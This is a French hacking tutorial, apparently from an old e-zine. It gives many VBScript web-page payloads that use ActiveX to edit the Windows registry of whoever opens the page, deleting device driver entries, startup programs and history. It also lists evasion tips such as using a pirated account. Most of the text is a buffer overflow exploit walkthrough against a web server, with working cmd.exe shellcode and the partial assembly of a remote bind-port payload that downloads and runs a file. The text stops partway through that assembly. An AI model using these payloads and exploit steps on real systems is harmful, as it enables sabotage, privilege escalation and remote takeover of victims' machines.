Hacking5

Avant de pouvoir comprendre ces bugs, je vous conseille de lire ces quelques lignes vous donnant les clés s'exécutant au démarrage de Windows.
Ces informations sont communes à Windows 95 et 98 (ainsi qu'à Windows NT).
Cliquez sur démarrer, exécuter et regedit. Voila vous êtes dans la base de registre. Ne modifiez surtout rien : celle ci est indispensable au bon fonctionnement de windows.
Voilà la clé des programmes qui s'exécute au démarrage de Windows, c'est souvent dans une de ses clés que se cache un exécutable plus ou moins indésirable lancé systématiquement au démarrage de Windows :
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_USERS\xxxxxx\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_USERS\xxxxxx\Software\Microsoft\Windows\CurrentVersion\RunOnce
xxxxxx étant le nom d'un utilisateur (chiffré)
HKEY_USERS\xxxxxx\Software\Microsoft\Windows\CurrentVersion\RunOnceEx
Vous y comprenez rien? Arf, c'est pourtant simple =)
Alors nous allons prendre un exemple :
Vous voulez changer le nom que vous aviez rentré au démarrage de Windows, allez dans HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version et modifiez RegisteredOwner et RegisteredOrganization.

BUG activeX
Vous pensiez être en sécurité en surfant sur Internet? Il n'en est rien. Quelqu'un peut utiliser ces bugs pour modifier le coeur de votre PC (si il tourne sousWindows) : la base de registre. Ce qui est écrit en bleu est le code html et ce qui est en rouge sont les régions modifiables =)

ECRIRE DANS LA BASE DE REGISTRE.
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\das\With\Name", "Hacked by Das"
</script>
</body>
</html>

SUPPRIMER UNE CLE DANS LA BASE DE REGISTRE
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\hello\"
</script>
</body>
</html>

CREER UN RACCOURCI SUR LE BUREAU
<html>
<body>
<script Language="VBScript">
if location.protocol = "file:" then
Set WshShell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set RealLink = WshShell.CreateShortcut("C:\WINDOWS\bureau\evolvae")
RealLink.TargetPath = "http://www.evolvae.cjb.net"
RealLink.Save
end if
</script>
</body>
</html>

CREER UN FICHIER BAT
<html>
<body>
<script Language="VBScript">
Set BatFile = FSO.CreateTextFile("c:\Windows\das.bat", 2, False)
BatFile.WriteLine ""
BatFile.WriteLine "Hacked by Das"
BatFile.Close
</script>
</body>
</html>

SUPPRIMER LES PROGRAMMES SE LANCANT AU DEMARRAGE
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ Windows\CurrentVersion\Run"
</script>
</body>
</html>

MODIFIER LE NOM DE L'ORDINATEUR
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ComputerName\"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ComputerName\ ComputerName\ComputerName","Hacked by Das"
</script>
</body>
</html>

SUPPRIMER LA FLECHE DES RACCOURCIS
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\lnkfile\IsShortcut"
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\piffile\IsShortcut"
</script>
</body>
</html>

SUPPRIMER LES PROGRAMMES SE LANCANT AU DEMARRAGE DE MS DOS
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\CurrentVersion\Policies\ WinOldApp\Disabled",1,"REG_DWORD"
</script>
</body>
</html>

SUPPRIMER L'HISTORIQUE
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\explorer\ RecentDocs\"
WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\explorer\ RunMru\"
WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\explorer\ Doc Find Spec MRU\"
WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\explorer\ FindComputerMRU\"
</script>
</body>
</html>

DESINSTALLER L'IMPRIMANTE
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Printer\"
</script>
</body>
</html>

DESINSTALLER LE CLAVIER
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Keyboard\"
</script>
</body>
</html>

DESINSTALLER LE MODEM
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Modem\"
</script>
</body>
</html>

DESINSTALLER L'ECRAN
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Monitor\"
</script>
</body>
</html>

DESINSTALLER LE DISQUE DUR
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\PCMIA\"
</script>
</body>
</html>

SUPPRIMER NUKE NABBER
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\Sofware\NukeNabber 7.0"
</script>
</body>
</html>

CREER UN FICHIER BATH
<html>
<body>
<script Language="VBScript">
if location.protocol = "file:" then
Set FSO =CreateObject("Scripting.FileSystemObject")
HPath = Replace(location.href, "/", "\")
HPath = Replace(HPath, "file:\\\", "")
HPath = FSO.GetParentFolderName(HPath)
Set TRange = document.body.createTextRange
Set BatFile = FSO.CreateTextFile("c:\Windows\das.bat", 2, False)
BatFile.WriteLine ""
BatFile.WriteLine "Hacked by Das"
BatFile.Close
end if </script>
</body>
</html>

DETRUIRE LES PILOTES DE LA SOURIS
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\System\CurrentControlSet\Services\Class\Mouse\"
</script>
</body>
</html>

ENLEVER LE MENU DEMARRER-->RECHERCHER
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite
"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\NoFind", 0 ,"REG_DWORD"
</script>
</body>
</html>

ENLEVER LE MENU DEMARRER-->DOCUMENT
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\NoRecentDocsMenu", 0 ,"REG_DWORD"
</script>
</body>
</html>

ENLEVER LE MENU DEMARRER-->EXECUTER
<html>
<body>
<script Language="VBScript">
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\NoRun", 0 ,"REG_DWORD"
</script>
</body>
</html>

Le rêve de tout pirate est d'être anonyme et intraçable... C'est possible ça ? Ca dépend des circonstances.

Quand vous passez quelque part sur Internet, vous laissez des traces de votre passage. Elles sont d'autant plus grandes que votre vigilance est faible. Dans certains cas, cela est sans conséquences dans d'autres cela peut se révéler dangereux.
Voici une liste des différentes combines utilisées par les pirates pour être le plus discret et intraçable possible.

-Aller sur www.safeweb.com rubrique "quickstart". Tout pour la protection de la vie privée sous la forme d'un prog qui s'intègre dans le navigateur

-Refuser les cookies (avec Netscape ou un log.) des sites qui font des bases de données et avec lesquels il faut rester discret

-Donner de fausses coordonnées lors de la souscription d'un accès à Internet ou utiliser un compte Internet piraté

-Utiliser des softwares comme PrivateSurfer ou Freedom et plein d'autres encore...

Voilà, c'est une liste courte de quelques astuces (il en existe plein d'autres) utilisées par les pirates.

Partie 1 : The Buffer Overflow
Tout d'abord le pirate fait preuve de patience en téléchargeant le programme qui fait 50Mo =)
Il l'installe et se met à la recherche de la faille. Il télécharge aussi NetCat. Ce soft permet d'envoyer des données sur un port d'une machine, ça lui sera donc pratique. Comment le pirate fait pour savoir si il y a une faille de sécurité ?
Et bien il teste, teste et teste encore. Il fait un fichier "test.bin" (pour tester), dans lequel il va mettre une requête pour le server web.
Syntaxe de NetCat : E:\nc.exe [IP] [PORT] < [FILE]
Une requête www se fait comme ça : "GET /robert HTTP/1.0" et deux fois entrée pour télécharger le fichier "robert" à la racine (wwwroot bien sur). Il va donc essayer de planter le serveur en envoyant une chaîne trop longue. Il met dans test.bin ceci :
"GET /AAAAAAAAAAAAAAAAAAAAAAA[...x beaucoup]AAAAA HTTP/1.0" plus 2 fois entrée
Il tape ceci dans un shell dos:
E:\nc 127.0.0.1 80 < test.bin
et là le serveur répond que le fichier est introuvable. Il rajoute des 'AAAA' par gros paquets, jusqu'à ce que le serveur plante.
(N.B: si le pirate met trop de 'A' le serveur répondra un autre message d'erreur, le pirate enlèvera des 'A' dans ce cas là)
Quand le serveur plante, un message d'erreur indiquera que l'erreur s'est produite à l'adresse 0x41414141.
Analysons ce qu'il s'est passé. Ceux qui connaissent un minimum l'assembleur, savent ce que sont les registres du microprocesseurs. L'un deux s'appelle EIP (Extended Instruction Pointer). Il indique au microprocesseur l'adresse de la prochaine instruction à exécuter Lors de l'appel d'une fonction (un CALL), la valeur de EIP est stockée dans la "pile" (stack), et on saute à l'adresse de la fonction. Une fois que la fonction est terminée, elle revient à l'instruction qui suit le CALL qui l'a appelé. Comment fait-elle cela ? Et bien c'est simple, elle regarde tout simplement dans la pile la valeur de EIP avant le CALL, et elle retourne à cette adresse.
Voila pour le fonctionnement des CALL / RET et de EIP. Que ce passe-t-il donc avec notre exemple ?
Et bien ce n'est pas compliqué, la chaîne de caractère envoyée au serveur est stockée en mémoire. Le programme alloue (réserve) de la place pour copier la chaîne. Cependant, si le programmeur est feignant, il a pas pris le temps de vérifier la taille de la chaîne. Il copie donc une chaîne en mémoire (ou dans une autre) sans vérifier la taille de l'espace.
Exemple simple :
char BUFFER1[100]; // un espace pour mettre des données
char BUFFER2[500]; // un autre
strcpy(BUFFER1,BUFFER2); // copie buffer2 dans buffer1
Tout va bien si le buffer2 est inférieur à 100 sinon, les octets en trop sont placés de manière incontrôlée, et il peuvent écraser d'autres données ! Il pourrais par exemple écraser la valeur de EIP sauvée dans la pile.
Dans notre exemple, on pourrait schématiser comme ceci :
[ Place libre ][EIP ]

Ici on met une chaîne "normale", EIP reste à l'adresse ZZZZ
[ ][EIP ]
GET /index.htm HTTP/1.0 ZZZZ
La fonction retourne donc à ZZZZ, au moment de RET, tout va bien

Maintenant, le pirate attaque et met une chaîne trop grande :
[ Place libre ][EIP ]
GET /AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.0

La fonction retourne à l'adresse AAAA, puisque la valeur sauvée de EIP est AAAA
AAAA correspond en Hex à 0x41414141, il retourne donc à 0x41414141, cette adresse est invalide, donc Windows NT balance un message d'erreur.
Il faut cependant déterminer quel 'AAAA' de la grande chaîne est l'adresse de retour. On fait donc par tatonnement, on met une chaîne de AAAAAAAAAABBBBBBBBBBB, si il retourne à 0x42424242, on essaie avec AAAAAAAAAAAAAAAABBBBB, et ainsi de suite. On trouve donc que l'adresse correspond aux caractères 4070-4074 de notre test.bin , enfin par là quoi, vous n'avez plus qu'a compter =)
Quel est l'intérêt de tout cela ? Et bien, le pirate peut choisir l'adresse de retour de la fonction.
On va donc examiner à quel endroit il serait intéressant pour le pirate de sauter.

Partie 2 : Examen de stack
Le pirate est donc parti pour planter/redémarrer le serveur un millier de fois.
Il va utiliser SoftIce, le débugger, pour examiner la pile quand le programme plante.
Il garde le même fichier test.bin, entre dans SoftIce la commande "FAULTS ON" pour qu'il prenne en charge les erreurs.
Il fait : nc 127.0.0.1 80 < test.bin, et là SoftIce apparaît. Le registre EIP est bien à 0x41414141. Le but du pirate sera de savoir à quelle adresse se trouve son buffer, de manière à placer du code exécutable dedans, qui sera donc exécuté, si on jump vers son buffer. Alors où est le buffer?
(Taper "data", et "code on" dans SoftIce, pour avoir la mémoire et le code héxa)
Le pirate va donc examiner la mémoire à la recherche du buffer. Par exemple, il regarde les registres, ESP (Extended Stack Pointer) est en rapport avec la stack, il va donc examiner la mémoire vers là ou il pointe (le sommet de la pile en fait). Son adresse est 0x0143FE48. Il clique avec le bouton droit sur l'adresse et fait "DISPLAY". Voilà, rien d'intéressant; apparemment bien sûr. Il va donc regarder autour, si il n'y a pas son buffer par exemple. Et comme par miracle, il voit que juste au dessus, il y a plein, mais alors plein de AAAAAA. Il constate également que vers l'adresse 0x0143EE68, il y a un GET /AAAAAAA... C'est son buffer. Le pirate saute de joie =) Il peut donc mettre comme adresse de retour 0x0143EE68, si les caractères ne sont pas trop bizarres pour le server, comme ça il sautera au début de son buffer (il fait environ 4000 caractères), ce qui permettra au pirate de mettre du code exécutable dans le buffer, et le server web se fera un plaisir de exécuter Il reste au pirate à coder un shellcode...

Partie 3 : Le shellcode en local
Les possibilités sont assez grandes car le serveur peut exécuter un shellcode qui ouvre un port et qui télécharge un exécutable par exemple. On va faire en 2 parties. Je vais expliquer comment le pirate fait un exploit en LOCAL (fichier local.bin) pour ceux qui sont pas très à l'aise avec l'asm et le principe du buffer overflow. Pour ceux qui s'accrochent, je vais vous expliquer comment le pirate code l'exploit en REMOTE (fichier joint : remote.bin) , ce qui est nettement plus intéressant pour lui.
Donc on commence doucement.
Le principe est simple : le programme tourne avec les privilèges d'Administrateur (maximum r00t). Si le pirate est un simple utilisateur en soif de pouvoir et que la machine run ce serveur, il lui est donc possible d'avoir les pouvoirs administratif . Le programme tourne avec les privilèges de super-utilisateurs, si le code ouvre un programme, il tournera avec les même attributs que le processus "père", donc en administrateur. Le programme le plus intéressant à lancer pour le pirate est bien sûr "cmd.exe", qui balancera un joli interpréteur de commande (shell) DOS, avec les pouvoirs administratifs, libre au pirate ensuite de lancer un trojan pour avoir access à la machine en remote. Pour lancer ce programme il lui suffit de lancer le fonction "system", qui lance un exécutable
"system" se trouve dans msvcrt.dll, dans \winnt\system32\ bien sûr. On ne peux évidemment pas appeler une fonction directement, le pirate doit appeler par son adresse au lieu de son nom. Cependant l'adresse change selon la version de la .DLL, mais comme le pirate est en local, il ne rencontre aucun problème. Il la décompile, et regarde l'adresse de la fonction "system", ou alors il la prend pour chez lui et regarde avec SoftIce. Enfin rien de dur pour le pirate.
Pour moi la fonction "system" est exportée par la DLL à 0x7801CDA7. Maintenant, c'est un jeu d'enfant pour le pirate. Il commence par remplacer les 'A' (0x41) par des NOPs (0x90). Pourquoi ? Parce que '0x41' représente une instruction ASM qui pourrais tout déglinguer. Alors que 0x90, c'est un NOP, c'est une instruction qui ne fait rien du tout. Le buffer dois donc contenir le code, que le pirate va mettre directement dans son fichier test.bin avec un éditeur hexadécimal.
Le pirate doit faire plusieurs choses : la fonction "system" requiert comme argument, l'adresse de la chaîne "cmd" qui doit être terminée par un caractère NULL. Or, le buffer ne dois pas contenir de 0x00, sinon, il sera tronqué car 0x00 est une fin de chaîne. Le pirate doit donc contourner cela en faisant un xor ebx,ebx et puis push ebx, pour mettre un 0 dans la pile. Voila, pour le problème du 0, c'est réglé.
Maintenant le pirate doit avoir EBP et ESP au même niveau pour pouvoir utiliser une pile pour y mettre "cmd"+0x00, car si on regarde ebp quand on fait le RET fatidique, on constate que ebp=00000001h, ce qui est emmerdant pour utiliser une pile.
donc :
mov ebp, esp
Le pirate a donc pour sa pile : EBP et ESP au même niveau, pile vide en fait .
Schéma de la stack :
EBP ESP
ensuite le pirate doit mettre un 0, qui terminera la chaîne "cmd"
Il xor un registre pour le mettre à 0
xor ebx, ebx
push ebx
ebx fait 4 bytes (dword car e=extended) , donc la pile est comme cela maintenant :
EBP
00
00
00
00
ESP
Le pirate a besoin de 3 caractères pour placer "cmd" dans la pile, c'est parti :
mov byte ptr [EBP-4], 63h c
mov byte ptr [EBP-3], 6Dh m
mov byte ptr [EBP-2], 64h d
et il laisse [EBP-1] à zéro 00
(N.B : le pirate pourrait évidemment utiliser ESP comme référence, il aurait alors mov byte ptr [esp+3],63h etc...)
La pile sera donc remplie comme ça :
EBP
00 NULL EBP-1
64 d EBP-2
6D m EBP-3
63 c EBP-4
ESP
Le pirate a donc mis la chaîne qu'il voulait dans sa pile. Il va maintenant mettre cette adresse dans la pile, pour la passer comme argument à "system". Il doit donc d'abord empiler l'adresse de la fonction "system",
mov eax, 7801CDA7h
push eax
Il pourra donc appeler la fonction "system" en faisant un call vers [EBP-8].
La suite maintenant, il empile le paramètre de la fonction "system" à savoir l'adresse de "cmd", il doit tout simplement empiler l'adresse du premier caractère, à savoir le "c" qui se trouve à [EBP-4] normalement (comptez les lignes sur mes schémas), il va mettre l'adresse [EBP-4] dans eax, puis il va le pusher, ce brave eax.
lea eax, [EBP-4]
push eax
Maintenant il ne lui reste plus qu'à appeler la fonction "system", il doit faire un call vers son adresse, qu'il a empilé juste avant l'adresse de la chaîne.
La pile est maintenant ainsi :
EBP
00 NULL ...
64 d ...
6D m ...
63 c EBP-4
A7 --------- EBP-5
CD Adresse de EBP-6
01 system EBP-7
78 --------- EBP-8
XX ---------
XX Adresse de
XX "cmd"
XX ---------
ESP
Après ses push, l'adresse de "system", qu'il a pushé se trouve à EBP-8 d'après mon dessin de la pile
Il lui reste à appeler cette adresse :
call dword ptr [ebp-8]
Normalement, le pirate a une superbe fenêtre de commande MS-DOS, qui s'ouvre. Et les privilèges sont ceux de l'administrateur. En fait non, car le serveur run avec l'utilisateur SYSTEM par défaut mais c'est aussi puissant que l'administrateur.
Voila, le pirate a terminé avec le shellcode, ce qui donne, le tout compilé et terminé :
char ShellCode [] =
"\x8B\xEC\x33\xC9\x51\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45"
"\xFE\x64\xB8\xA7\xCD\x01\x78\x50\x8D\x45\xFC\x50\xFF\x55\xF8"
Après libre au pirate de faire un prog pour envoyer ça sur le port 80 si il veut. Les quatre bytes en jaune c'est l'adresse de "system" (inversée) , qui est susceptible de changer selon la version de la DLL.
On passe maintenant à la partie un peu plus hard, j'espère ne pas en avoir lâché trop =)

Partie 4 : Le shellcode en remote (remote admin)
Maintenant, l'affaire va se corser sérieusement.
J'explique pourquoi. En fait, dans l'exemple précédent, le pirate a utilisé une seule fonction. C'était "system". Or, on ne connaissait pas l'adresse de cette fonction. Mais en local, ce n'est pas un problème car le pirate peut ouvrir le fichier DLL qui contient la fonction et regarder à quelle offset elle se trouve. Rien de plus facile. Cependant, là, il est en remote. Pour pouvoir appeler une fonction, hors de question de appeler par une adresse qu'il a choisit (=hardcoded). Car les adresses des fonctions utilisées changent selon l'OS, la version, l'installation, les updates faîtes. Comment le pirate va s'en sortir pour connaître les adresses des fonctions? Et bien c'est simple, il va utiliser deux fonctions, LoadLibraryA et GetProcAddress. LoadLibraryA va lui permettre de loader une DLL et GetProcAddress va lui permettre de connaître l'adresse de chaque fonction contenue dans cette Dynamic Link Library. Je vous mets la syntaxe :
HINSTANCE LoadLibrary(LPCTSTR lpLibFileName // address of filename of executable module);
FARPROC GetProcAddress(
HMODULE hModule, // handle to DLL module
LPCSTR lpProcName // name of function);
Voilà. Le principe est le suivant. Admettons que le pirate a la chaîne "kernel32.dll" en mémoire, pointée par PTR (avec un NULL).
Il va faire,
LibHandle=LoadLibraryA(PTR);
Ensuite, si le pirate a "CreateProcess" terminé par un caractère NULL également, pointé par PTR2.
Il va faire, sous réserve que LibHandle ne soit pas NULL,
addr=GetProcAddress(LibHandle,PTR2);
Et là, addr contiendra l'adresse de la fonction "CreateProcess" du module "kernel32.dll", En appellant cette adresse, le pirate appelle la fonction. L'intérêt, et bien on va créer ce qu'on appelle une jump table. En fait, un fichier éxecutable, a une jump table au début qui lui permet d'appeller les fonctions en faisant un call vers sa jump table. Et bien le pirate va faire de même ici.
En gros il faut que le pirate ait, quelque part en mémoire, les adresses des fonctions qu'il va utiliser. Reste un petit souci, celui des fonctions GetProcAddress et LoadLibraryA comment connaître leur adresse si pour la connaître il faut les appeller, sachant qu'on ne peut les appeller sans leur adresse, etc... En fait, le pirate est quasiment sûr que le programme va les utiliser, elles résident donc dans sa jump table. Il décompile le programme "httpd.exe" et il recherche "LoadLibraryA" par exemple. Mais il ne la trouve pas. Bon, d'accord, le programme n'utilise pas cette fonction. Ce n'est rien, il décompile une DLL que le programme utilise forcement, à savoir E:\winnt\system32\ns-httpd36.dll
Le pirate décompile cette DLL et il constate qu'elle exporte ses deux fonctions à :
GetProcAddress :100E770C hex
LoadLibraryA :100E7710 hex
Il va pouvoir charger toutes les addresses des fonctions qu'il veut.
Le principe est le suivant :
Le pirate va ouvrir un port, attendre une connection, télécharger un fichier qu'on lui envoi par ce port, et executer ce fichier.
C'est un grand classique des exploits, ça plait beaucoup =)
Il va choisir le port 53. Pourquoi, car c'est un port non filtré par un firewall en général.
Il lui faudra les fonctions suivantes pour établir et utiliser une connexion :
socket listen bind accept recv closesocket (Elles sont dans wsock32.dll)
Il lui faudra ces fonctions pour gérer le fichier, l'executer... :
_lcreat _lwrite _lclose WinExec
Ces fonctions permettent de terminer le programme discrètement :
GetCurrentProcess TerminateProcess
Le pirate aura également besoin de GlobalAlloc pour avoir un peu de mémoire pour mettre diverses valeurs. Toutes ces fonctions sont exportées par Kernel32.dll
Il aura donc besoin de toutes ces chaînes de caractères :
"kernel32.dll","GLobalAlloc",TerminateProcess","GetCurrentProcess","WinExec","_lcreat", " _lwrite","_lclose"
"wsock32.dll","socket","bind","listen","accept","recv","closesocket"
"e.exe" <- c'est le nom du fichier .exe qu'il va lancer (il le créé puis l'execute).
Il va donc, pour plus de portabilité, copier toutes ces chaînes en mémoire, caractère par caractère. C'est laborieux, mais au moins il sait où il les mets avec précisions.
Il doit mettre un 0 à chaque fin de chaîne. Le pirate met donc un 22h (ou n'importe quoi) puis il xor le 22h par un 22h ce qui à pour effet de mettre à 0 le byte en mémoire car NB XOR NB = NULL
Bon c parti pour le début =)
mov ebx,not 00CE1528h // il met tout à partir de cette adresse (ou une autre)
not ebx // les not sont pour éviter le 00
mov byte ptr [ebx],6Bh ;k // il place le "k" à 0x00CE1528
inc ebx // incrémente ebx, ebx=0x00CE1529
mov byte ptr [ebx],65h ;e // il place le "e" à 0x00CE1529
inc ebx // et ainsi de suite...
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],33h ;3
inc ebx
mov byte ptr [ebx],32h ;2
inc ebx
mov byte ptr [ebx],2Eh ;.
inc ebx
mov byte ptr [ebx],64h ;d
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],47h ;G
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],62h ;b
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],41h ;A
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],54h ;T
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Dh ;m
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],50h ;P
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],47h ;G
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],43h ;c
inc ebx
mov byte ptr [ebx],75h ;u
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],50h ;P
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],57h ;W
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],45h ;E
inc ebx
mov byte ptr [ebx],78h ;x
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],5Fh ;_
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],61h ;a
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],5Fh ;_
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],77h ;w
inc ebx
mov byte ptr [ebx],72h ;r
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],5Fh ;_
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],77h ;w
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Bh ;k
inc ebx
mov byte ptr [ebx],33h ;3
inc ebx
mov byte ptr [ebx],32h ;2
inc ebx
mov byte ptr [ebx],2Eh ;.
inc ebx
mov byte ptr [ebx],64h ;d
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],22 ;NULL
xor byte ptr [ebx],22
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],6Fh ;o
inc ebx
mov byte ptr [ebx],63h ;c
inc ebx
mov byte ptr [ebx],6Bh ;k
inc ebx
mov byte ptr [ebx],65h ;e
inc ebx
mov byte ptr [ebx],74h ;t
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],62h ;b
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],6Eh ;n
inc ebx
mov byte ptr [ebx],64h ;d
inc ebx
mov byte ptr [ebx],22h ;NULL
xor byte ptr [ebx],22h
inc ebx
mov byte ptr [ebx],6Ch ;l
inc ebx
mov byte ptr [ebx],69h ;i
inc ebx
mov byte ptr [ebx],73h ;s
inc ebx
mov byte ptr [ebx],74h ;t
